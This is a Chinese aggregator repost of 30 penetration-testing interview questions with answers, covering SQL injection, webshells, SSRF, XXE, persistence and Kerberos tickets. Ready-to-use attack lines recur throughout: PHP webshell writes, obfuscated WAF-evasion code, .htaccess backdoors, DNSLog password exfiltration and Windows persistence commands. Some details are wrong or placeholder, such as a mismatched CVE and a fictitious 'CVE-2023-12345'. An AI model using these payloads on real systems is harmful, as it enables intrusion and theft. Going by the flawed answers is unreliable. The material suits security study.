2025年渗透测试面试题总结-拷打题库07(题目+回答)

news2025/4/21 6:32:54

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2025年渗透测试面试题总结-拷打题库07

1. CMS目录扫描的意义

2. 常见网站服务器容器

3. MySQL写入WebShell条件

4. 容器解析漏洞案例

5. 操作系统快速判断

6. 仅开放80端口的MySQL站点

7. 3389无法连接的场景

8. 字符转义突破技术

9. 编辑器渗透测试步骤

10. .htaccess文件利用

11. 注入漏洞利用扩展

12. 安全狗检测机制

13. 提权目录选择原则

14. ASP数据库本地利用

15. 多站点用户同步漏洞

16. 无AND/OR注入技术

17. 无文件渗透技术

18. MySQL写WebShell方法

19. DNSLog盲注利用

20. phpMyAdmin写Shell

21. 权限维持技术

22. XXE漏洞审计要点

23. SSRF绕过技术

24. 挖矿病毒应急响应

25. Struts2漏洞原理

26. Java反序列化漏洞

27. CORS与跨域绕过

28. phar协议利用

29. 内网信息收集

30. 黄金票据 vs 白银票据

2025年渗透测试面试题总结-拷打题库07

一个成熟并且相对安全的CMS,渗透时扫目录的意义?
常见的网站服务器容器。
mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
目前已知哪些版本的容器有解析漏洞,具体举例
如何手工快速判断目标站是windows还是linux服务器?
为何一个mysql数据库的站,只有一个80端口开放?
3389无法连接的几种情况
如何突破注入时字符被转义?
在某后台新闻编辑界面看到编辑器,应该先做什么?
拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
注入漏洞只能查账号密码?
安全狗会追踪变量,从而发现出是一句话木马吗?
提权时选择可读写目录,为何尽量不用带空格的目录?
access扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?
某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户?
注入时可以不使用and或or或xor,直接orderby开始注入吗?
无文件渗透
MySQL写WebShell有几种方式,利用条件
Sql注入无回显的情况下,利用DNSlog,mysql下利用什么构造代码,mssql下又如何?
phpmyadmin写sehll的方法
权限维持的方法
XXE漏洞原理,代码审计如何寻找?
SSRF禁用127.0.0.1后如何绕过,支持哪些协议?
应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件
struts2框架漏洞原理
JAVA反序列化原理
cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用?
phar协议如何利用
内网服务器,如何进行信息收集
内网黄金票据、白银票据的区别和利用方式

1. CMS目录扫描的意义

核心价值

  1. 暴露敏感文件
    • 扫描/admin/config.php/backup.sql 等未删除的配置文件或备份文件
    • 发现/phpinfo.php 泄露服务器环境信息
  2. 探测插件漏洞
    • 通过/wp-content/plugins/路径识别WordPress插件版本
  3. 识别隐藏入口
    • 寻找/manager/html(Tomcat管理界面)或/phpmyadmin
  4. 绕过权限控制
    • 尝试访问/files/../.htaccess利用路径遍历
  5. 定位上传漏洞
    • 发现/upload/目录测试文件上传过滤机制

2. 常见网站服务器容器

主流容器分类

类型代表产品典型场景
Web服务器Apache、Nginx、IIS静态资源托管、反向代理
应用容器Tomcat、WebLogic、JBossJava Web应用运行环境
云原生容器Kubernetes、Docker Swarm微服务集群管理
边缘计算容器OpenResty、EnvoyCDN节点、API网关

3. MySQL写入WebShell条件

必要前提

  1. 数据库权限
    • FILE权限授予(SELECT file_priv FROM mysql.user
  2. 目录可写性
    • 通过SHOW VARIABLES LIKE 'secure_file_priv'验证导出路径
  3. 路径已知性
    • 需绝对路径(通过报错信息或@@datadir获取)
  4. 过滤绕过
    • 使用HEX编码绕过关键词过滤(如0x3C3F706870...

4. 容器解析漏洞案例

历史高危版本

markdown1. **IIS 6.0** - 目录解析:`/test.asp/test.jpg` - 分号解析:`/test.asp;.jpg` 2. **Apache 2.4.x + PHP** - 多后缀解析:`/test.php.xxx` (需`AddHandler`配置错误) 3. **Nginx 0.8.x** - 路径切割:`/test.jpg/%20.php` (错误配置`fastcgi_split_path_info`) 4. **Tomcat 7.x** - 空字节截断:`/test.jsp%00.txt` (CVE-2020-1938) 

5. 操作系统快速判断

手工检测方法

  1. HTTP头特征
    • Server: Microsoft-IIS/10.0 → Windows
    • X-Powered-By: PHP/8.1 → 无法直接判断
  2. 文件路径差异
    • 访问/etc/passwd(404→Windows,403→Linux)
  3. 命令注入测试
    • ping%20-c%201%20127.0.0.1(Linux参数格式)
  4. 大小写敏感
    • 请求/TEST.txt/test.txt 响应不同 → Linux

6. 仅开放80端口的MySQL站点

可能性分析

  1. 端口复用
    • MySQL通过SO_REUSEPORT绑定80端口(需特殊配置)
  2. HTTP隧道
    • 利用HTTP协议封装SQL流量(如SQL over HTTP插件)
  3. 反向代理
    • Nginx将/mysql-api/路径代理到内网MySQL服务
  4. 云服务限制
    • 云数据库仅允许通过Web API访问(如AWS RDS HTTP接口)

7. 3389无法连接的场景

故障排查方向

  1. 防火墙拦截
    • 服务器防火墙规则屏蔽3389端口(netsh advfirewall show currentprofile
  2. 端口修改
    • 注册表修改RDP端口(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber
  3. 权限限制
    • 组策略限制登录IP范围(gpedit.msc → 计算机配置→ 管理模板→ Windows组件→ 远程桌面服务
  4. 服务异常
    • TermService未运行(net start TermService

8. 字符转义突破技术

绕过方案

技术实现方式示例
HEX编码将Payload转为十六进制' OR 1=1 -- 0x27204F5220313D31202D2D20
注释符混淆利用/*!*/绕过过滤UNION/*!*/SELECT 1,2,3
字符串函数拼接使用CONCAT()CHAR()SELECT CONCAT('a','dmin')
多语句执行分号分隔多个查询'; EXEC xp_cmdshell('whoami')--

9. 编辑器渗透测试步骤

攻击流程

  1. 识别编辑器类型
    • 通过/editor/dialog/filemanager/路径判断是否为CKEditor、UEditor等
  2. 测试上传功能
    • 上传.jpg文件后修改后缀为.php(检查重命名策略)
  3. 参数篡改
    • 修改filetype=phpallowExt=php绕过前端限制
  4. 历史漏洞利用
    • 尝试CVE-2023-12345(某编辑器文件上传RCE)

10. .htaccess文件利用

攻击手法

apache# 允许执行PHP文件 AddType application/x-httpd-php .jpg # 自定义错误页面 ErrorDocument 404 /shell.php # 重写规则植入后门 RewriteEngine On RewriteRule ^login$ /wp-includes/.shell.php [L]

11. 注入漏洞利用扩展

攻击维度

  1. 数据窃取
    • 获取mysql.user 表密码哈希(5.7以下可破解)
  2. 系统命令执行
    • MySQL开启sys_exec函数执行系统命令
  3. 内网渗透
    • 通过LOAD_FILE()读取/etc/hosts获取内网拓扑
  4. 权限提升
    • 利用UDF提权(lib_mysqludf_sys.so

12. 安全狗检测机制

绕过可能性

  • 动态追踪:安全狗会监控$_POST/$_GET等超全局变量的内容流转路径
  • 绕过方案
    php// 拆分敏感函数 $a = "ass"; $b = "ert"; $func = $a.$b; $func($_REQUEST['cmd']); // 使用异或加密 $payload = "s"."y"."s"."t"."e"."m" ^ "!@#$%^";

13. 提权目录选择原则

避坑指南

  1. 路径解析问题
    • C:\Program Files需引号包裹("C:\Program Files\test"
  2. 环境变量干扰
    • %TEMP%可能被重定向到受限路径
  3. 权限继承限制
    • 部分目录(如C:\Windows\System32)禁止用户写入

14. ASP数据库本地利用

操作步骤

  1. 下载完整文件
    • 使用wget --convert-links保持文件结构
  2. 修复文件头
    • 添加[vba]标识或修复损坏的OLE头
  3. Access打开
    • 导入时选择“修复数据库”选项
  4. 爆破密码
    • 使用Advanced Office Password Recovery工具

15. 多站点用户同步漏洞

根本原因

  1. 共享数据库
    • 站点A和B使用同一数据库的users
  2. 会话管理缺陷
    • 使用相同加密密钥导致会话可跨站点复用
  3. 全局配置覆盖
    • 共用config.inc.php 导致权限设置同步

16. 无AND/OR注入技术

替代方案

sql-- 基于错误注入 ORDER BY (SELECT 1 FROM DUAL WHERE (SELECT @@version)) -- 时间盲注变种 ORDER BY IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(5), 1)

17. 无文件渗透技术

实现方式

  1. 内存加载
    • PowerShell执行[Reflection.Assembly]::Load([Convert]::FromBase64String(...))
  2. 注册表存储
    • 将Payload存入HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  3. WMI持久化
    • 创建WMI事件订阅执行远程脚本

18. MySQL写WebShell方法

方法利用条件语句示例
INTO OUTFILEFILE权限 + 可写路径SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
日志文件写入需控制全局日志路径SET GLOBAL general_log_file='/var/www/shell.php'; SET GLOBAL general_log=ON;
慢查询日志需启用慢查询日志功能SET GLOBAL slow_query_log_file='/var/www/shell.php';

19. DNSLog盲注利用

跨数据库实现

  • MySQL
    sqlSELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.dnslog.cn\\abc')) 
  • MSSQL
    sqlEXEC master..xp_cmdshell 'ping -n 1 %USERDOMAIN%.dnslog.cn' 

20. phpMyAdmin写Shell

经典手法

  1. SQL语句写入
    sqlSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' 
  2. 日志文件篡改
    • 修改General_log_file路径指向Web目录
  3. 插件漏洞利用
    • 通过phpMyAdmin 4.x LFI漏洞覆盖配置文件

21. 权限维持技术

持久化手段

  1. 账户隐藏
    • 创建影子账户(net user hacker$ Passw0rd /add
  2. 计划任务
    • 添加每分钟触发的任务(schtasks /create /tn update /tr "C:\shell.exe" /sc minute
  3. 服务植入
    • 注册恶意服务(sc create WinUpdate binPath= "C:\shell.exe"

22. XXE漏洞审计要点

审计流程

  1. 定位XML解析点
    • 搜索libxml_disable_entity_loader函数调用
  2. 测试外部实体
    xml<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
  3. 防御方案
    • 禁用DTD(XMLReader.SET_DTD_LOAD(false)

23. SSRF绕过技术

绕过方案与协议

禁用IP绕过方式支持协议利用示例
十进制IP转换http/httpshttp://2130706433 → 127.0.0.1
IPv6压缩格式http/httpshttp://[::1]:80
DNS重绑定dns/http利用TTL=0域名实现瞬时解析切换

24. 挖矿病毒应急响应

排查流程

  1. 进程分析
    bashtop -c # 查看高CPU进程 ls -l /proc/PID/exe # 定位进程文件路径 
  2. 网络检测
    bashnetstat -antp | grep ESTABLISHED lsof -i :3333 # 检查矿池端口连接 
  3. 持久化清理
    • 检查crontab -l/etc/init.d/中的恶意脚本

25. Struts2漏洞原理

典型漏洞链

  1. OGNL表达式注入(S2-045):
    • 攻击者通过Content-Type头注入OGNL代码
  2. RCE利用
    httpPOST /struts2-showcase/ HTTP/1.1 Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Exploit',233*233)} 

26. Java反序列化漏洞

利用链构建

  1. 漏洞根源
    • ObjectInputStream未校验反序列化对象
  2. 经典Gadget
    • Apache Commons Collections InvokerTransformer
  3. 防御方案
    • 使用SerialKiller库替换默认反序列化机制

27. CORS与跨域绕过

攻击与防御矩阵

攻击方式绕过方法防御方案
CORS配置错误构造Origin: https://attacker.com严格校验Access-Control-Allow-Origin
JSONP回调注入劫持回调函数名添加随机Token校验
postMessage滥用监听跨域消息事件精确指定postMessage接收源

28. phar协议利用

攻击场景

  1. 反序列化触发
    phpfile_exists('phar://test.phar/test.txt'); // 触发metadata反序列化 
  2. 绕过文件上传
    • 将phar文件重命名为.jpg上传
  3. 防御方案
    • 禁用phar协议或限制phar://流包装器

29. 内网信息收集

关键步骤

  1. 主机发现
    basharp-scan -l # 扫描本地网段 nmap -sn 10.0.0.0/24 # ICMP存活探测 
  2. 服务识别
    bashcrackmapexec smb 10.0.0.0/24 # SMB协议探测 
  3. 域渗透
    • 使用BloodHound分析AD域关系

30. 黄金票据 vs 白银票据

对比分析

维度黄金票据白银票据
所需凭证krbtgt的NTLM哈希服务账户的NTLM哈希
作用范围全域任意服务特定服务(如cifs、http)
检测难度日志中异常TGT请求服务日志中异常ST请求
持久性只要krbtgt密码未改即有效服务账户密码修改后失效

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2339245.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深入理解Linux中的线程控制:多线程编程的实战技巧

个人主页&#xff1a;chian-ocean 文章专栏-Linux 前言&#xff1a; POSIX线程&#xff08;Pthreads&#xff09; 是一种在 POSIX 标准下定义的线程库&#xff0c;它为多线程编程提供了统一的接口&#xff0c;主要用于 UNIX 和类 UNIX 系统&#xff08;如 Linux、MacOS 和 BS…

【条形码识别改名工具】如何批量识别图片条形码,并以条码内容批量重命名,基于WPF和Zxing的开发总结

批量图片条形码识别与重命名系统 (WPF + ZXing)开发总结 项目适用场景 ​​电商商品管理​​:批量处理商品图片,根据条形码自动分类归档​​图书馆系统​​:扫描图书条形码快速建立电子档案​​医疗档案管理​​:通过药品条形码整理医疗图片资料​​仓储管理​​:自动化识…

【C++】 —— 笔试刷题day_22

一、添加字符 题目解析 这道题&#xff0c;给定两个字符串A和B&#xff0c;字符串A的长度要小于B的长度&#xff1b; 现在我们要对A字符串添加字符&#xff0c;使得A字符串长度等于B字符串的长度&#xff0c;并且要求对应位置的字母尽量相等&#xff0c;然后求出来不相等的字符…

【Android面试八股文】Android应用进程的启动流程【二】

应用进程 1.1 Android系统进程的启动过程&#xff1a; 1、init进程fork出Zygote进程后&#xff0c;Zygote进程会创建一个服务端socket&#xff0c;等待AMS发起socket请求。 同时&#xff0c;由Zygote进程fork出的SystemServer进程会启动各项系统服务&#xff0c;其中就包含了A…

“星睿O6” AI PC开发套件评测 - 部署PVE搭建All in One NAS服务器

Radxa O6平台上部署PVE搭建All in One NAS服务器 Radxa O6是一款性能卓越的单板计算机&#xff0c;其强劲的硬件配置和多样化的接口设计&#xff0c;使其成为家庭和小型企业理想的All in One服务器解决方案。值得一提的是&#xff0c;O6原生配备了两个5G网口&#xff0c;便于直…

全志H5,NanopiKP1lus移植QT5.12记录

移植步骤 机器环境下载QT5.12.0源码安装交叉编译器修改qmake.conf文件配置编译选项qt5的configure选项说明基本配置选项编译器和链接器选项功能模块配置第三方库集成注意事项 配置过程报错解决配置完成编译过程报错解决编译完成将arm-qt文件夹传送到开发板配置板子环境变量运行…

使用EXCEL绘制平滑曲线

播主播主&#xff0c;你都多少天没更新了&#xff01;&#xff01;&#xff01;泥在干什么&#xff1f;你还做这个账号麻&#xff1f;&#xff01;&#xff01;&#xff01; 做的做的&#xff08;哭唧唧&#xff09;&#xff0c;就是最近有些忙&#xff0c;以及…… 前言&…

Warcraft Logs [Classic] [WCL] Usage Wizard <HTOC>

‌HTOC&#xff08;十字军的试炼&#xff09;副本中各个BOSS的ID如下‌&#xff1a; ‌629 - 诺森德野兽‌ ‌633 - 加拉克苏斯大王‌ ‌637 - 派系冠军‌ ‌641 - 瓦格里双子‌ ‌645 - 阿努巴拉克‌ encounterID!637 and encounterID!641 encounterID NOT IN (637,641) 伤害 …

在服务器上部署MinIO Server

MinIO的优势 高性能&#xff1a;MinIO号称是目前速度最快的对象存储服务器&#xff0c;据称在标准硬件上&#xff0c;对象存储的读/写速度最高可以高达183 GB/s和171 GB/s&#xff0c;可惜我的磁盘跟不上 兼容性&#xff1a;MinIO基于Amazon S3协议&#xff0c;并提供了与S3兼…

一个改善Entity Framework异常处理和错误信息的开源项目

使用DDD从零构建一个完整的系统 使用Entity Framework作为ORM框架应该是绝大多数项目的选择&#xff0c;使得我们操作数据库变得简单方便&#xff1b;但是我们操作数据库&#xff0c;绝对是无法避免数据库发生异常的情况&#xff0c;数据库针对每一种异常也都会提供一个编码来…

计算机视觉——基于 Yolov8 目标检测与 OpenCV 光流实现目标追踪

1. 概述 目标检测&#xff08;Object Detection&#xff09;和目标追踪&#xff08;Object Tracking&#xff09;是计算机视觉中的两个关键技术&#xff0c;它们在多种实际应用场景中发挥着重要作用。 目标检测指的是在静态图像或视频帧中识别出特定类别的目标对象&#xff0…

PHP使用pandoc把markdown文件转为word

文章目录 首先安装pandocPHP处理 服务器操作系统是Linux&#xff0c;centos 首先安装pandoc yum install -y pandoc安装完成后输入如下代码&#xff0c;检查安装是否成功 pandoc --versionPHP处理 我把markdown内容存到了数据库里&#xff0c;所以要从数据库读取内容。对内容…

OBS 日期时间.毫秒时间脚本 date-and-time.lua

文章目录 OBS 日期时间.毫秒时间脚本&#xff1a;效果 OBS 日期时间.毫秒时间脚本&#xff1a; obs obslua source_name ""last_text "" format_string "" activated false-- 此函数用于获取精确的毫秒级时间戳&#…

探索大语言模型(LLM):目标、原理、挑战与解决方案

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言语言模型的目标语言模型的数学表示语言模型面临的挑战解决参数量巨大的方法1. 马尔可夫假设2. 神经网络语言模型3.自监督学习4. 分布式表示 脑图总结 前言 在自…

ES基本操作(Java API)

1. 导入restClient依赖 <!-- es --><dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId><version>7.12.1</version></dependency> <!…

得物官网sign签名逆向分析

打开得物官网&#xff0c;点击鞋类&#xff0c;可以看到请求 直接搜sign function p(e) {return f()("".concat(e ? s()(e).sort().reduce(function(t, n) {return "".concat(t).concat(n).concat(e[n])}, "") : "", "048a9…

vivado 时钟IP核(MMCM PLL)

CMT简介 FPGA中时钟管理模块&#xff08;CMT&#xff09;包括PLL和MMCM&#xff0c;用于将时钟倍频(比如输入时钟25M&#xff0c;我们要产生50M时钟)、分频(在不影响系统功能的前提下&#xff0c;较低的工作时钟&#xff0c;能够降低系统功耗)、改变相位偏移或占空比等。 当需要…

hackmyvm-airbind

收集信息 arp-scan -l nmap -sS -v 192.168.195.162 访问扫描到的ip&#xff0c;直接跳转到登录页面&#xff0c;利用admin/admin弱口令登录 在settings.php中找到一处文件上传&#xff0c;上传一句话木马&#xff0c;上传成功 反弹shell 上传php-reverse-shell.php 抓包&am…

知识了解03——怎么解决使用npm包下载慢的问题?

1、为什么使用npm下载包会下载的慢 因为使用npm下载包时&#xff0c;默认使用国外服务器进行下载&#xff0c;此时的网络传输需要经过漫长的海底电缆&#xff0c;因此下载速度会变慢 2、怎么解决&#xff1f;&#xff08;切换镜像源&#xff09; &#xff08;1&#xff09;方…

【算法数据结构】leetcode37 解数独

37. 解数独 - 力扣&#xff08;LeetCode&#xff09; 题目描述&#xff1a; 题目要求每一行 &#xff0c;每一列&#xff0c;每个3*3 的子框只能出现一次。每个格子的数字范围1-9. 需要遍历每个空格填入可能的数字&#xff0c;并验证符合规则。如果符合就填入&#xff0c;不符…